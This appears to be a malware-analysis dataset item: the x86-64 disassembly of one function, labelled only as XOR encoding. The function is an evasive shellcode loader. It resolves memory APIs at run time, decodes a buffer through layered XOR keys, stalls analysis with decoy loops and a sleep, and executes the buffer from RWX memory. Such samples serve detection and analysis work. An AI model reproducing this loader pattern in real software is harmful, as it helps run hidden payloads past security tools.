Function at 0x140001070
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rsi
push r14
sub rsp, 0x30
mov rsi, rcx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
test rax, rax
jne 0x140001099
mov r14d, ebx
jmp 0x1400010ac
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, str.kernel32.dll
mov qword [rsp + 0x68], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010c8
mov r15, rbx
jmp 0x1400010db
lea rdx, str.VirtualFree
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rcx, str.ntdll.dll
mov qword [rsp + 0x50], rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010f7
mov rbp, rbx
jmp 0x14000110a
lea rdx, str.RtlMoveMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test r14, r14
je 0x1400012fe
test r15, r15
je 0x1400012fe
test rbp, rbp
je 0x1400012fe
movzx eax, word [0x140003448]
movsd xmm0, qword [str.layer1key]
mov qword [rsp + 0x60], rdi
mov rdi, 0xffffffffffffffff
mov word [rsp + 0x28], ax
mov rcx, rdi
lea rax, [rsp + 0x20]
movsd qword [rsp + 0x20], xmm0
inc rcx
cmp byte [rax + rcx], bl
jne 0x140001153
mov r8, rbx
nop
xor edx, edx
mov rax, r8
div rcx
movzx eax, byte [rsp + rdx + 0x20]
xor byte [rsi + r8], al
inc r8
cmp r8, 0x3dd
jb 0x140001160
mov dword [rsp + 0x58], ebx
mov edx, ebx
mov eax, dword [rsp + 0x58]
mov ecx, edx
imul ecx, edx
inc edx
add ecx, eax
mov dword [rsp + 0x58], ecx
cmp edx, 0xf4240
jl 0x140001183
mov eax, dword [rsp + 0x58]
cmp eax, 0xdeadbeef
jne 0x1400011b3
lea rcx, str.Fake_code_executed_n
call fcn.140001010
movzx eax, word [0x140003458]
movsd xmm0, qword [str.layer2key]
mov word [rsp + 0x28], ax
lea rax, [rsp + 0x20]
movsd qword [rsp + 0x20], xmm0
inc rdi
cmp byte [rax + rdi], bl
jne 0x1400011d2
mov rcx, rbx
nop dword [rax]
xor edx, edx
mov rax, rcx
div rdi
movzx eax, byte [rsp + rdx + 0x20]
xor byte [rsi + rcx], al
inc rcx
cmp rcx, 0x3dd
jb 0x1400011e0
mov dword [rsp + 0x58], ebx
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x58]
mov edx, r8d
imul edx, r8d
inc r8d
add edx, eax
mov dword [rsp + 0x58], edx
cmp r8d, 0xf4240
jl 0x140001210
mov eax, dword [rsp + 0x58]
cmp eax, 0xdeadbeef
jne 0x140001244
lea rcx, str.Fake_code_executed_n
call fcn.140001010
mov edx, 0x3dd
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call r14
mov rdi, rax
test rax, rax
jne 0x140001286
lea rcx, str.Failed_to_allocate_memory._n
call fcn.140001010
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
mov r8d, 0x3dd
mov rdx, rsi
mov rcx, rdi
call rbp
mov rcx, rbx
lea rsi, str.finalkey
nop
mov rax, rcx
and eax, 7
movzx eax, byte [rax + rsi]
xor byte [rdi + rcx], al
inc rcx
cmp rcx, 0x3dd
jb 0x1400012a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
nop dword [rax + rax]
mov rax, rbx
and eax, 7
movzx eax, byte [rax + rsi]
xor byte [rdi + rbx], al
inc rbx
cmp rbx, 0x3dd
jb 0x1400012d0
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call r15
jmp 0x14000126e
lea rcx, str.Failed_to_resolve_necessary_functions._n
call fcn.140001010
jmp 0x140001273